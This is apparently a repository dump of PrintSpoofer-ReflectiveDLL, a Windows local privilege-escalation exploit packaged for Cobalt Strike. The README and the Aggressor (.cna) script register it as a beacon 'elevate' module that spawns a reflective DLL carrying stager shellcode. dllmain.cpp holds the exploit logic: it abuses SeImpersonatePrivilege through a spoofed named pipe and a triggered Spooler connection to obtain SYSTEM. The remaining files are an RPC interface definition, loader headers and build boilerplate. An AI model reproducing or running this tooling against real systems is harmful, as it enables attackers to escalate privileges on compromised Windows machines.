├── img
└── images.png
├── PrintSpoofer
├── resource.h
├── PrintSpoofer.rc
├── PrintSpoofer.h
├── PrintSpoofer.vcxproj.filters
├── dllmain.cpp
├── ReflectiveDllInjection.h
├── ms-rprn.idl
├── ReflectiveLoader.h
├── PrintSpoofer.vcxproj
├── PrintSpoofer.cpp
├── ReflectiveLoader.cpp
└── ms-rprn_s.c
├── cna
├── PrintSpoofer.x64.dll
├── PrintSpoofer.x86.dll
└── printspoofer.cna
├── README.md
├── PrintSpoofer.sln
├── .gitattributes
└── .gitignore
/img/images.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/crisprss/PrintSpoofer/HEAD/img/images.png
--------------------------------------------------------------------------------
/PrintSpoofer/resource.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/crisprss/PrintSpoofer/HEAD/PrintSpoofer/resource.h
--------------------------------------------------------------------------------
/cna/PrintSpoofer.x64.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/crisprss/PrintSpoofer/HEAD/cna/PrintSpoofer.x64.dll
--------------------------------------------------------------------------------
/cna/PrintSpoofer.x86.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/crisprss/PrintSpoofer/HEAD/cna/PrintSpoofer.x86.dll
--------------------------------------------------------------------------------
/PrintSpoofer/PrintSpoofer.rc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/crisprss/PrintSpoofer/HEAD/PrintSpoofer/PrintSpoofer.rc
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PrintSpoofer-ReflectiveDLL
2 |
3 | ## Usage
4 | In Cobalt Strike Beacon:
5 |
6 | elevate PrintSpoofer LISTENER_NAME
7 |
8 |
9 |
10 | 
11 |
--------------------------------------------------------------------------------
/PrintSpoofer/PrintSpoofer.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define VERSION L"0.1"
4 |
5 | BOOL CheckAndEnablePrivilege(HANDLE hTokenToCheck, LPCWSTR pwszPrivilegeToCheck);
6 | BOOL GenerateRandomPipeName(LPWSTR *ppwszPipeName);
7 | HANDLE CreateSpoolNamedPipe(LPWSTR pwszPipeName);
8 | HANDLE ConnectSpoolNamedPipe(HANDLE hPipe);
9 | HANDLE TriggerNamedPipeConnection(LPWSTR pwszPipeName);
10 | DWORD WINAPI TriggerNamedPipeConnectionThread(LPVOID lpParam);
11 | BOOL GetSystem(HANDLE hPipe);
12 |
--------------------------------------------------------------------------------
/cna/printspoofer.cna:
--------------------------------------------------------------------------------
1 | sub printspoofer {
2 | btask($1, "Task Beacon to run " . listener_describe($2) . " via PrintSpoofer");
3 |
4 | if (-is64 $1)
5 | {
6 | $arch = "x64";
7 | $dll = script_resource("PrintSpoofer.x64.dll");
8 | } else {
9 | $arch = "x86";
10 | $dll = script_resource("PrintSpoofer.x86.dll");
11 | }
12 | $stager = shellcode($2, false, $arch);
13 |
14 | bdllspawn!($1, $dll, $stager, "PrintSpoofer local elevate privilege", 5000);
15 |
16 | bstage($1, $null, $2, $arch);
17 | }
18 |
19 | beacon_exploit_register("PrintSpoofer", "PrintSpoofer local elecate privilege", &printspoofer);
20 |
--------------------------------------------------------------------------------
/PrintSpoofer.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30011.22
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PrintSpoofer", "PrintSpoofer\PrintSpoofer.vcxproj", "{B67143DE-321D-4034-AC1D-C6BB2D98563F}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Debug|x64.ActiveCfg = Debug|x64
17 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Debug|x64.Build.0 = Debug|x64
18 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Debug|x86.ActiveCfg = Debug|Win32
19 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Debug|x86.Build.0 = Debug|Win32
20 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Release|x64.ActiveCfg = Release|x64
21 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Release|x64.Build.0 = Release|x64
22 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Release|x86.ActiveCfg = Release|Win32
23 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {1B8A984C-63CB-459C-81BB-B14669C902C1}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/PrintSpoofer/PrintSpoofer.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 |
32 |
33 | Header Files
34 |
35 |
36 | Header Files
37 |
38 |
39 | Header Files
40 |
41 |
42 | Header Files
43 |
44 |
45 |
46 |
47 | Source Files
48 |
49 |
50 |
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
--------------------------------------------------------------------------------
/PrintSpoofer/dllmain.cpp:
--------------------------------------------------------------------------------
1 | #include "ReflectiveLoader.h"
2 | #include "PrintSpoofer.h"
3 | #include
4 |
5 | extern HINSTANCE hAppInstance;
6 | EXTERN_C IMAGE_DOS_HEADER __ImageBase;
7 |
8 | BOOL PrintSpoofer() {
9 | BOOL bResult = TRUE;
10 | LPWSTR pwszPipeName = NULL;
11 | HANDLE hSpoolPipe = INVALID_HANDLE_VALUE;
12 | HANDLE hSpoolPipeEvent = INVALID_HANDLE_VALUE;
13 | HANDLE hSpoolTriggerThread = INVALID_HANDLE_VALUE;
14 | DWORD dwWait = 0;
15 |
16 | if (!CheckAndEnablePrivilege(NULL, SE_IMPERSONATE_NAME)) {
17 | wprintf(L"[-] A privilege is missing: '%ws'\n", SE_IMPERSONATE_NAME);
18 | bResult = FALSE;
19 | goto cleanup;
20 | }
21 |
22 | wprintf(L"[+] Found privilege: %ws\n", SE_IMPERSONATE_NAME);
23 |
24 | if (!GenerateRandomPipeName(&pwszPipeName)) {
25 | wprintf(L"[-] Failed to generate a name for the pipe.\n");
26 | bResult = FALSE;
27 | goto cleanup;
28 | }
29 |
30 | if (!(hSpoolPipe = CreateSpoolNamedPipe(pwszPipeName))) {
31 | wprintf(L"[-] Failed to create a named pipe.\n");
32 | bResult = FALSE;
33 | goto cleanup;
34 | }
35 |
36 | if (!(hSpoolPipeEvent = ConnectSpoolNamedPipe(hSpoolPipe))) {
37 | wprintf(L"[-] Failed to connect the named pipe.\n");
38 | bResult = FALSE;
39 | goto cleanup;
40 | }
41 |
42 | wprintf(L"[+] Named pipe listening...\n");
43 |
44 | if (!(hSpoolTriggerThread = TriggerNamedPipeConnection(pwszPipeName))) {
45 | wprintf(L"[-] Failed to trigger the Spooler service.\n");
46 | bResult = FALSE;
47 | goto cleanup;
48 | }
49 |
50 | dwWait = WaitForSingleObject(hSpoolPipeEvent, 5000);
51 | if (dwWait != WAIT_OBJECT_0) {
52 | wprintf(L"[-] Operation failed or timed out.\n");
53 | bResult = FALSE;
54 | goto cleanup;
55 | }
56 |
57 | if (!GetSystem(hSpoolPipe)) {
58 | bResult = FALSE;
59 | goto cleanup;
60 | }
61 | wprintf(L"[+] Exploit successfully, enjoy your shell\n");
62 |
63 | cleanup:
64 | if (hSpoolPipe)
65 | CloseHandle(hSpoolPipe);
66 | if (hSpoolPipeEvent)
67 | CloseHandle(hSpoolPipeEvent);
68 | if (hSpoolTriggerThread)
69 | CloseHandle(hSpoolTriggerThread);
70 |
71 | return bResult;
72 | }
73 |
74 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
75 | BOOL bReturnValue = TRUE;
76 | DWORD dwResult = 0;
77 |
78 | switch (dwReason) {
79 | case DLL_QUERY_HMODULE:
80 | if (lpReserved != NULL)
81 | *(HMODULE*)lpReserved = hAppInstance;
82 | break;
83 | case DLL_PROCESS_ATTACH:
84 | hAppInstance = hinstDLL;
85 | if (PrintSpoofer()) {
86 | fflush(stdout);
87 |
88 | if (lpReserved != NULL)
89 | ((VOID(*)())lpReserved)();
90 | } else {
91 | fflush(stdout);
92 | }
93 |
94 | ExitProcess(0);
95 | break;
96 | case DLL_PROCESS_DETACH:
97 | case DLL_THREAD_ATTACH:
98 | case DLL_THREAD_DETACH:
99 | break;
100 | }
101 | return bReturnValue;
102 | }
--------------------------------------------------------------------------------
/PrintSpoofer/ReflectiveDllInjection.h:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
30 | //===============================================================================================//
31 | #define WIN32_LEAN_AND_MEAN
32 | #include
33 |
34 | // we declare some common stuff in here...
35 |
36 | #define DLL_QUERY_HMODULE 6
37 |
38 | #define DEREF( name )*(UINT_PTR *)(name)
39 | #define DEREF_64( name )*(DWORD64 *)(name)
40 | #define DEREF_32( name )*(DWORD *)(name)
41 | #define DEREF_16( name )*(WORD *)(name)
42 | #define DEREF_8( name )*(BYTE *)(name)
43 |
44 | typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
45 | typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
46 |
47 | #define DLLEXPORT __declspec( dllexport )
48 |
49 | //===============================================================================================//
50 | #endif
51 | //===============================================================================================//
52 |
--------------------------------------------------------------------------------
/PrintSpoofer/ms-rprn.idl:
--------------------------------------------------------------------------------
1 | // https://github.com/leechristensen/SpoolSample/blob/master/MS-RPRN/ms-rprn.idl
2 | // [MS-RPRN] interface
3 | [
4 | uuid(12345678-1234-ABCD-EF00-0123456789AB),
5 | version(1.0),
6 | ms_union,
7 | endpoint("ncacn_np:[\\pipe\\spoolss]"),
8 | pointer_default(unique)
9 | ]
10 |
11 | interface winspool {
12 |
13 | import "oaidl.idl";
14 |
15 | #if __midl < 700
16 | #define disable_consistency_check
17 | #endif
18 | // [MS-RPRN] common info container structures
19 | typedef struct _DEVMODE_CONTAINER {
20 | DWORD cbBuf;
21 | [size_is(cbBuf), unique] BYTE* pDevMode;
22 | } DEVMODE_CONTAINER;
23 |
24 | typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE {
25 | unsigned short Type;
26 | unsigned short Reserved0;
27 | DWORD Reserved1;
28 | DWORD Reserved2;
29 | DWORD Count;
30 | [size_is(Count), unique] unsigned short* pFields;
31 | } RPC_V2_NOTIFY_OPTIONS_TYPE;
32 |
33 | typedef struct _RPC_V2_NOTIFY_OPTIONS {
34 | DWORD Version;
35 | DWORD Reserved;
36 | DWORD Count;
37 | [size_is(Count), unique] RPC_V2_NOTIFY_OPTIONS_TYPE* pTypes;
38 | } RPC_V2_NOTIFY_OPTIONS;
39 |
40 | // [MS-RPRN] common data types
41 | typedef unsigned short LANGID;
42 | typedef [context_handle] void* GDI_HANDLE;
43 | typedef [context_handle] void* PRINTER_HANDLE;
44 | typedef [handle] wchar_t* STRING_HANDLE;
45 |
46 | // [MS-RPRN] methods
47 | DWORD RpcEnumPrinters();
48 | DWORD RpcOpenPrinter(
49 | [in, string, unique] STRING_HANDLE pPrinterName,
50 | [out] PRINTER_HANDLE* pHandle,
51 | [in, string, unique] wchar_t* pDatatype,
52 | [in] DEVMODE_CONTAINER* pDevModeContainer,
53 | [in] DWORD AccessRequired
54 | );
55 | DWORD RpcSetJob();
56 | DWORD RpcGetJob();
57 | DWORD RpcEnumJobs();
58 | DWORD RpcAddPrinter();
59 | DWORD RpcDeletePrinter();
60 | DWORD RpcSetPrinter();
61 | DWORD RpcGetPrinter();
62 | DWORD RpcAddPrinterDriver();
63 | DWORD RpcEnumPrinterDrivers();
64 | DWORD RpcGetPrinterDriver();
65 | DWORD RpcGetPrinterDriverDirectory();
66 | DWORD RpcDeletePrinterDriver();
67 | DWORD RpcAddPrintProcessor();
68 | DWORD RpcEnumPrintProcessors();
69 | DWORD RpcGetPrintProcessorDirectory();
70 | DWORD RpcStartDocPrinter();
71 | DWORD RpcStartPagePrinter();
72 | DWORD RpcWritePrinter();
73 | DWORD RpcEndPagePrinter();
74 | DWORD RpcAbortPrinter();
75 | DWORD RpcReadPrinter();
76 | DWORD RpcEndDocPrinter();
77 | DWORD RpcAddJob();
78 | DWORD RpcScheduleJob();
79 | DWORD RpcGetPrinterData();
80 | DWORD RpcSetPrinterData();
81 | DWORD RpcWaitForPrinterChange();
82 | DWORD RpcClosePrinter(
83 | [in, out] PRINTER_HANDLE* phPrinter
84 | );
85 | DWORD RpcAddForm();
86 | DWORD RpcDeleteForm();
87 | DWORD RpcGetForm();
88 | DWORD RpcSetForm();
89 | DWORD RpcEnumForms();
90 | DWORD RpcEnumPorts();
91 | DWORD RpcEnumMonitors();
92 | void Opnum37NotUsedOnWire();
93 | void Opnum38NotUsedOnWire();
94 | DWORD RpcDeletePort();
95 | DWORD RpcCreatePrinterIC();
96 | DWORD RpcPlayGdiScriptOnPrinterIC();
97 | DWORD RpcDeletePrinterIC();
98 | void Opnum43NotUsedOnWire();
99 | void Opnum44NotUsedOnWire();
100 | void Opnum45NotUsedOnWire();
101 | DWORD RpcAddMonitor();
102 | DWORD RpcDeleteMonitor();
103 | DWORD RpcDeletePrintProcessor();
104 | void Opnum49NotUsedOnWire();
105 | void Opnum50NotUsedOnWire();
106 | DWORD RpcEnumPrintProcessorDatatypes();
107 | DWORD RpcResetPrinter();
108 | DWORD RpcGetPrinterDriver2();
109 | void Opnum54NotUsedOnWire();
110 | void Opnum55NotUsedOnWire();
111 | DWORD RpcFindClosePrinterChangeNotification();
112 | void Opnum57NotUsedOnWire();
113 | DWORD RpcReplyOpenPrinter();
114 | DWORD RpcRouterReplyPrinter();
115 | DWORD RpcReplyClosePrinter();
116 | DWORD RpcAddPortEx();
117 | DWORD RpcRemoteFindFirstPrinterChangeNotification();
118 | void Opnum63NotUsedOnWire();
119 | void Opnum64NotUsedOnWire();
120 | DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
121 | [in] PRINTER_HANDLE hPrinter,
122 | [in] DWORD fdwFlags,
123 | [in] DWORD fdwOptions,
124 | [in, string, unique] wchar_t* pszLocalMachine,
125 | [in] DWORD dwPrinterLocal,
126 | [in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions
127 | );
128 | }
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Build results
17 | [Dd]ebug/
18 | [Dd]ebugPublic/
19 | [Rr]elease/
20 | [Rr]eleases/
21 | x64/
22 | x86/
23 | [Aa][Rr][Mm]/
24 | [Aa][Rr][Mm]64/
25 | bld/
26 | [Bb]in/
27 | [Oo]bj/
28 | [Ll]og/
29 |
30 | # Visual Studio 2015/2017 cache/options directory
31 | .vs/
32 | # Uncomment if you have tasks that create the project's static files in wwwroot
33 | #wwwroot/
34 |
35 | # Visual Studio 2017 auto generated files
36 | Generated\ Files/
37 |
38 | # MSTest test Results
39 | [Tt]est[Rr]esult*/
40 | [Bb]uild[Ll]og.*
41 |
42 | # NUNIT
43 | *.VisualState.xml
44 | TestResult.xml
45 |
46 | # Build Results of an ATL Project
47 | [Dd]ebugPS/
48 | [Rr]eleasePS/
49 | dlldata.c
50 |
51 | # Benchmark Results
52 | BenchmarkDotNet.Artifacts/
53 |
54 | # .NET Core
55 | project.lock.json
56 | project.fragment.lock.json
57 | artifacts/
58 |
59 | # StyleCop
60 | StyleCopReport.xml
61 |
62 | # Files built by Visual Studio
63 | *_i.c
64 | *_p.c
65 | *_h.h
66 | *.ilk
67 | *.meta
68 | *.obj
69 | *.iobj
70 | *.pch
71 | *.pdb
72 | *.ipdb
73 | *.pgc
74 | *.pgd
75 | *.rsp
76 | *.sbr
77 | *.tlb
78 | *.tli
79 | *.tlh
80 | *.tmp
81 | *.tmp_proj
82 | *_wpftmp.csproj
83 | *.log
84 | *.vspscc
85 | *.vssscc
86 | .builds
87 | *.pidb
88 | *.svclog
89 | *.scc
90 |
91 | # Chutzpah Test files
92 | _Chutzpah*
93 |
94 | # Visual C++ cache files
95 | ipch/
96 | *.aps
97 | *.ncb
98 | *.opendb
99 | *.opensdf
100 | *.sdf
101 | *.cachefile
102 | *.VC.db
103 | *.VC.VC.opendb
104 |
105 | # Visual Studio profiler
106 | *.psess
107 | *.vsp
108 | *.vspx
109 | *.sap
110 |
111 | # Visual Studio Trace Files
112 | *.e2e
113 |
114 | # TFS 2012 Local Workspace
115 | $tf/
116 |
117 | # Guidance Automation Toolkit
118 | *.gpState
119 |
120 | # ReSharper is a .NET coding add-in
121 | _ReSharper*/
122 | *.[Rr]e[Ss]harper
123 | *.DotSettings.user
124 |
125 | # JustCode is a .NET coding add-in
126 | .JustCode
127 |
128 | # TeamCity is a build add-in
129 | _TeamCity*
130 |
131 | # DotCover is a Code Coverage Tool
132 | *.dotCover
133 |
134 | # AxoCover is a Code Coverage Tool
135 | .axoCover/*
136 | !.axoCover/settings.json
137 |
138 | # Visual Studio code coverage results
139 | *.coverage
140 | *.coveragexml
141 |
142 | # NCrunch
143 | _NCrunch_*
144 | .*crunch*.local.xml
145 | nCrunchTemp_*
146 |
147 | # MightyMoose
148 | *.mm.*
149 | AutoTest.Net/
150 |
151 | # Web workbench (sass)
152 | .sass-cache/
153 |
154 | # Installshield output folder
155 | [Ee]xpress/
156 |
157 | # DocProject is a documentation generator add-in
158 | DocProject/buildhelp/
159 | DocProject/Help/*.HxT
160 | DocProject/Help/*.HxC
161 | DocProject/Help/*.hhc
162 | DocProject/Help/*.hhk
163 | DocProject/Help/*.hhp
164 | DocProject/Help/Html2
165 | DocProject/Help/html
166 |
167 | # Click-Once directory
168 | publish/
169 |
170 | # Publish Web Output
171 | *.[Pp]ublish.xml
172 | *.azurePubxml
173 | # Note: Comment the next line if you want to checkin your web deploy settings,
174 | # but database connection strings (with potential passwords) will be unencrypted
175 | *.pubxml
176 | *.publishproj
177 |
178 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
179 | # checkin your Azure Web App publish settings, but sensitive information contained
180 | # in these scripts will be unencrypted
181 | PublishScripts/
182 |
183 | # NuGet Packages
184 | *.nupkg
185 | # The packages folder can be ignored because of Package Restore
186 | **/[Pp]ackages/*
187 | # except build/, which is used as an MSBuild target.
188 | !**/[Pp]ackages/build/
189 | # Uncomment if necessary however generally it will be regenerated when needed
190 | #!**/[Pp]ackages/repositories.config
191 | # NuGet v3's project.json files produces more ignorable files
192 | *.nuget.props
193 | *.nuget.targets
194 |
195 | # Microsoft Azure Build Output
196 | csx/
197 | *.build.csdef
198 |
199 | # Microsoft Azure Emulator
200 | ecf/
201 | rcf/
202 |
203 | # Windows Store app package directories and files
204 | AppPackages/
205 | BundleArtifacts/
206 | Package.StoreAssociation.xml
207 | _pkginfo.txt
208 | *.appx
209 |
210 | # Visual Studio cache files
211 | # files ending in .cache can be ignored
212 | *.[Cc]ache
213 | # but keep track of directories ending in .cache
214 | !?*.[Cc]ache/
215 |
216 | # Others
217 | ClientBin/
218 | ~$*
219 | *~
220 | *.dbmdl
221 | *.dbproj.schemaview
222 | *.jfm
223 | *.pfx
224 | *.publishsettings
225 | orleans.codegen.cs
226 |
227 | # Including strong name files can present a security risk
228 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
229 | #*.snk
230 |
231 | # Since there are multiple workflows, uncomment next line to ignore bower_components
232 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
233 | #bower_components/
234 |
235 | # RIA/Silverlight projects
236 | Generated_Code/
237 |
238 | # Backup & report files from converting an old project file
239 | # to a newer Visual Studio version. Backup files are not needed,
240 | # because we have git ;-)
241 | _UpgradeReport_Files/
242 | Backup*/
243 | UpgradeLog*.XML
244 | UpgradeLog*.htm
245 | ServiceFabricBackup/
246 | *.rptproj.bak
247 |
248 | # SQL Server files
249 | *.mdf
250 | *.ldf
251 | *.ndf
252 |
253 | # Business Intelligence projects
254 | *.rdl.data
255 | *.bim.layout
256 | *.bim_*.settings
257 | *.rptproj.rsuser
258 | *- Backup*.rdl
259 |
260 | # Microsoft Fakes
261 | FakesAssemblies/
262 |
263 | # GhostDoc plugin setting file
264 | *.GhostDoc.xml
265 |
266 | # Node.js Tools for Visual Studio
267 | .ntvs_analysis.dat
268 | node_modules/
269 |
270 | # Visual Studio 6 build log
271 | *.plg
272 |
273 | # Visual Studio 6 workspace options file
274 | *.opt
275 |
276 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
277 | *.vbw
278 |
279 | # Visual Studio LightSwitch build output
280 | **/*.HTMLClient/GeneratedArtifacts
281 | **/*.DesktopClient/GeneratedArtifacts
282 | **/*.DesktopClient/ModelManifest.xml
283 | **/*.Server/GeneratedArtifacts
284 | **/*.Server/ModelManifest.xml
285 | _Pvt_Extensions
286 |
287 | # Paket dependency manager
288 | .paket/paket.exe
289 | paket-files/
290 |
291 | # FAKE - F# Make
292 | .fake/
293 |
294 | # JetBrains Rider
295 | .idea/
296 | *.sln.iml
297 |
298 | # CodeRush personal settings
299 | .cr/personal
300 |
301 | # Python Tools for Visual Studio (PTVS)
302 | __pycache__/
303 | *.pyc
304 |
305 | # Cake - Uncomment if you are using it
306 | # tools/**
307 | # !tools/packages.config
308 |
309 | # Tabs Studio
310 | *.tss
311 |
312 | # Telerik's JustMock configuration file
313 | *.jmconfig
314 |
315 | # BizTalk build output
316 | *.btp.cs
317 | *.btm.cs
318 | *.odx.cs
319 | *.xsd.cs
320 |
321 | # OpenCover UI analysis results
322 | OpenCover/
323 |
324 | # Azure Stream Analytics local run output
325 | ASALocalRun/
326 |
327 | # MSBuild Binary and Structured Log
328 | *.binlog
329 |
330 | # NVidia Nsight GPU debugger configuration file
331 | *.nvuser
332 |
333 | # MFractors (Xamarin productivity tool) working folder
334 | .mfractor/
335 |
336 | # Local History for Visual Studio
337 | .localhistory/
338 |
339 | # BeatPulse healthcheck temp database
340 | healthchecksdb
--------------------------------------------------------------------------------
/PrintSpoofer/ReflectiveLoader.h:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
30 | //===============================================================================================//
31 | #define WIN32_LEAN_AND_MEAN
32 | #include
33 | #include
34 |
35 | #include "ReflectiveDLLInjection.h"
36 |
37 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
38 | typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
39 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
